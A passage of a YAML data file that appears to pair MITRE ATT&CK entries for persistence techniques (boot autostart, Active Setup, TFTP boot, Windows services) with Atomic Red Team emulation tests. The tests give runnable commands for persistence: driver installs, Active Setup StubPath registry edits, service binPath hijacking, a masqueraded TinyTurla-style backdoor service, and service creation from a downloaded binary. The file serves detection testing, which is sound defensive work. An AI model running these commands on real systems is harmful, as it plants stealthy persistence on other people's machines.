        before when compared against historical data.To increase confidence of malicious
        activity, data and events should not be viewed in isolation, but as part of
        a chain of behavior that could lead to other activities, such as network connections
        made for Command and Control, learning details about the environment through
        Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically
        looking for DLLs that are not recognized or not normally loaded into a process.
        Look for abnormal process behavior that may be due to a process loading a
        malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
        parameters involved in kernel modification or driver installation."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Kernel: Kernel Module Load'
      - 'Process: Process Creation'
      - 'Driver: Driver Load'
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      type: attack-pattern
      id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
      created: '2020-01-23T17:46:59.535Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547
        external_id: T1547
      - source_name: Cylance Reg Persistence Sept 2013
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
      - source_name: MSDN Authentication Packages
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
      - source_name: Microsoft Run Key
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa376977
      - source_name: Microsoft TimeProvider
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
      - source_name: Linux Kernel Programming
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547
    atomic_tests:
    - name: Add a driver
      auto_generated_guid: cb01b3da-b0e7-4e24-bf6d-de5223526785
      description: 'Install a driver via pnputil.exe lolbin

        '
      supported_platforms:
      - windows
      input_arguments:
        driver_inf:
          description: A built-in, already installed windows driver inf
          type: path
          default: C:\Windows\INF\usbstor.inf
      executor:
        command: 'pnputil.exe /add-driver "#{driver_inf}"

          '
        name: command_prompt
    - name: Driver Installation Using pnputil.exe
      auto_generated_guid: 5cb0b071-8a5a-412f-839d-116beb2ed9f7
      description: 'pnputil.exe is a native command-line utility in Windows to install
        drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/

        '
      supported_platforms:
      - windows
      input_arguments:
        driver_path:
          description: Enter the driver file path to install (Default is used built-in
            windows driver - acpipmi.inf)
          type: path
          default: C:\Windows\INF\acpipmi.inf
      executor:
        command: 'pnputil.exe -i -a #{driver_path}

          '
        name: powershell
  T1547.014:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Active Setup
      description: |-
        Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

        Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
      created: '2020-12-18T16:33:13.098Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/014
        external_id: T1547.014
      - source_name: SECURELIST Bright Star 2015
        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
          Spreading through the Bright Star?. Retrieved December 18, 2020.
        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
      - source_name: Mandiant Glyer APT 2010
        description: Glyer, C. (2010). Examples of Recent APT Persistence Mechanism.
          Retrieved December 18, 2020.
        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
      - source_name: FireEye CFR Watering Hole 2012
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
      - source_name: Klein Active Setup 2010
        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
          December 18, 2020.
        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
      - source_name: paloalto Tropic Trooper 2016
        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
          18, 2020.
        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Citizenlab Packrat 2015
        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
          December 18, 2020.
        url: https://citizenlab.ca/2015/12/packrat-report/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.014
    atomic_tests:
    - name: HKLM - Add atomic_test key to launch executable as part of user setup
      auto_generated_guid: deff4586-0517-49c2-981d-bbea24d48d71
      description: "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active
        Setup\\Installed Components' to launch calc by configuring an active setup
        executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\"
        command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would
        run during the next logon for each user.\n\nNote: If you logout before running
        the cleanup command, you will be required to go through the OOBE (out-of-box
        experience) setup sequence to log back in. \nThe payload will only run once
        unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: Payload to run once during login
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"
          -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active
          Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty
          \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\"
          \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe
          /AlternateShellStartup"
        cleanup_command: |-
          Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
          Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: HKLM - Add malicious StubPath value to existing Active Setup Entry
      auto_generated_guid: 39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a
      description: "This test will add a StubPath entry to the Active Setup native
        registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600})
        \nSaid key doesn't have a StubPath value by default, by adding one it will
        launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup.
        \nWithout the last command it will normally run on next user logon. Note:
        this test will only run once successfully if no cleanup command is run in
        between test.\n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: Payload to run once during login
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |-
          Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force
          & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
        cleanup_command: |-
          Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force
          Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force
        name: powershell
        elevation_required: true
    - name: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing
        version number
      auto_generated_guid: 04d55cef-f283-40ba-ae2a-316bc3b5e78c
      description: "This test will decrease the version number of the 'Internet Explorer
        Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for
        the current user, \nwhich will force the StubPath payload (if set) to execute.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0"
          & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
        name: powershell
        elevation_required: true
  T1542.005:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4
      type: attack-pattern
      created: '2020-10-20T00:06:56.180Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.005
        url: https://attack.mitre.org/techniques/T1542/005
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Secure Boot
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure
          Boot. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Boot Information
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot
          Information. Retrieved October 21, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: TFTP Boot
      description: |-
        Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

        Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)

        Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1543.003:
    technique:
      modified: '2024-04-11T19:25:51.394Z'
      name: 'Create or Modify System Process: Windows Service'
      description: "Adversaries may create or modify Windows services to repeatedly
        execute malicious payloads as part of persistence. When Windows boots up,
        it starts programs or applications called services that perform background
        system functions.(Citation: TechNet Services) Windows service configuration
        information, including the file path to the service's executable or recovery
        programs/commands, is stored in the Windows Registry.\n\nAdversaries may install
        a new service or modify an existing service to execute at startup in order
        to persist on a system. Service configurations can be set or modified using
        system utilities (such as sc.exe), by directly modifying the Registry, or
        by interacting directly with the Windows API. \n\nAdversaries may also use
        services to install and execute malicious drivers. For example, after dropping
        a driver file (ex: `.sys`) to disk, the payload can be loaded and registered
        via [Native API](https://attack.mitre.org/techniques/T1106) functions such
        as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()`
        and `ZwSetValueKey()`), by creating the required service Registry values (i.e.
        [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using
        command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet
        Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42
        AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s
        to hide the presence of malicious activity on a system. Adversaries may also
        load a signed yet vulnerable driver onto a compromised machine (known as \"Bring
        Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege
        Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole
        June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created
        with administrator privileges but are executed under SYSTEM privileges, so
        an adversary may also use a service to escalate privileges. Adversaries may
        also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo
        make detection analysis more challenging, malicious services may also incorporate
        [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004)
        (ex: using a service and/or payload name related to a legitimate OS or benign
        software component). Adversaries may also create ‘hidden’ services (i.e.,
        [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example
        by using the `sc sdset` command to set service permissions via the Service
        Descriptor Definition Language (SDDL). This may hide a Windows service from
        the view of standard service enumeration methods such as `Get-Service`, `sc
        query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Pedro Harrison
      - Mayuresh Dani, Qualys
      - Wietze Beukema, @wietze
      - Akshat Pradhan, Qualys
      - Wirapong Petshagun
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor processes and command-line arguments for actions
        that could create or modify services. Command-line invocation of tools capable
        of adding or modifying services may be unusual, depending on how systems are
        typically used in a particular environment. Services may also be modified
        through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data. Remote access
        tools with built-in features may also interact directly with the Windows API
        to perform these functions outside of typical system utilities. Collect service
        utility execution and service binary path arguments used for analysis. Service
        binary paths may even be changed to execute commands or scripts.  \n\nLook
        for changes to service Registry entries that do not correlate with known software,
        patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        Changes to the binary path and the service startup type changed from manual
        or disabled to automatic, if it does not typically do so, may be suspicious.
        Tools such as Sysinternals Autoruns may also be used to detect system service
        changes that could be attempts at persistence.(Citation: TechNet Autoruns)
        \ \n\nCreation of new services may generate an alterable event (ex: Event
        ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft
        Windows Event Forwarding FEB 2018)). New, benign services may be created during
        installation of new software.\n\nSuspicious program execution through services
        may show up as outlier processes that have not been seen before when compared
        against historical data. Look for abnormal process call trees from known services
        and for execution of other commands that could relate to Discovery or other
        adversary techniques. Data and events should not be viewed in isolation, but
        as part of a chain of behavior that could lead to other activities, such as
        network connections made for Command and Control, learning details about the
        environment through Discovery, and Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Driver: Driver Load'
      - 'Service: Service Modification'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
      created: '2020-01-17T19:13:50.402Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/003
        external_id: T1543.003
      - source_name: Microsoft Windows Event Forwarding FEB 2018
        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
          to help with intrusion detection. Retrieved August 7, 2018.
        url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
      - source_name: ESET InvisiMole June 2020
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
      - source_name: SANS 1
        description: Joshua Wright. (2020, October 13). Retrieved March 22, 2024.
        url: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
      - source_name: SANS 2
        description: Joshua Wright. (2020, October 14). Retrieved March 22, 2024.
        url: https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/
      - source_name: TechNet Services
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
      - source_name: Microsoft 4697 APR 2017
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
          was installed in the system. Retrieved August 7, 2018.'
        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
      - source_name: Symantec W.32 Stuxnet Dossier
        description: Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February).
          W32.Stuxnet Dossier. Retrieved December 7, 2020.
        url: https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
      - source_name: Unit42 AcidBox June 2020
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Crowdstrike DriveSlayer February 2022
        description: Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects
          from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25,
          2022.
        url: https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.003
    atomic_tests:
    - name: Modify Fax service to run PowerShell
      auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f
      description: |
        This test will temporarily modify the service Fax by changing the binPath to PowerShell
        and will then revert the binPath change, restoring Fax to its original state.
        Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
          sc start Fax
        cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
          2>&1
    - name: Service Installation CMD
      auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
      description: |
        Download an executable from github and start it as a service.
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_type:
          description: Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare
          type: string
          default: Own
        startup_type:
          description: Service start method. May be boot|system|auto|demand|disabled|delayed-auto
          type: string
          default: auto
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_CMD
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type}  type=#{service_type}
          sc.exe start #{service_name}
        cleanup_command: |
          sc.exe stop #{service_name} >nul 2>&1
          sc.exe delete #{service_name} >nul 2>&1
    - name: Service Installation PowerShell
      auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77
      description: |
        Installs A Local Service via PowerShell.
        Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_PowerShell
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
          Start-Service -Name "#{service_name}"
        cleanup_command: |
          Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
          try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
          catch {}
    - name: TinyTurla backdoor service w64time
      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
      description: |
        It's running Dll as service to emulate the TinyTurla backdoor

        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
      supported_platforms:
      - windows
      input_arguments:
        dllfilename:
          description: It specifies Dll file to run as service
          type: string
          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
      executor:
        command: |-
          copy "#{dllfilename}" %systemroot%\system32\
          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
          sc config W64Time DisplayName= "Windows 64 Time"
          sc description W64Time "Maintain date and time synch on all clients and services in the network"
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
          sc start W64Time
        cleanup_command: |-
          sc stop W64Time
          sc.exe delete W64Time
          del %systemroot%\system32\w64time.dll
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
        name: command_prompt
        elevation_required: true
    - name: Remote Service Installation CMD
      auto_generated_guid: fb4151a2-db33-4f8c-b7f8-78ea8790f961
      description: |
        Download an executable from github and start it as a service on a remote endpoint
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_type:
          description: Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare
          type: string
          default: Own
        startup_type:
          description: Service start method. May be boot,system,auto,demand,disabled,delayed-auto
          type: string
          default: auto
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_CMD
        remote_host:
          description: Name of the remote endpoint
          type: string
          default: localhost
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type}
          sc.exe \\#{remote_host} start #{service_name}
        cleanup_command: |
          sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1
          sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1
    - name: Modify Service to Run Arbitrary Binary (Powershell)
      auto_generated_guid: 1f896ce4-8070-4959-8a25-2658856a70c9
      description: "This test will use PowerShell to temporarily modify a service
        to run an arbitrary executable by changing its binary path and will then revert
        the binary path change, restoring the service to its original state.\nThis
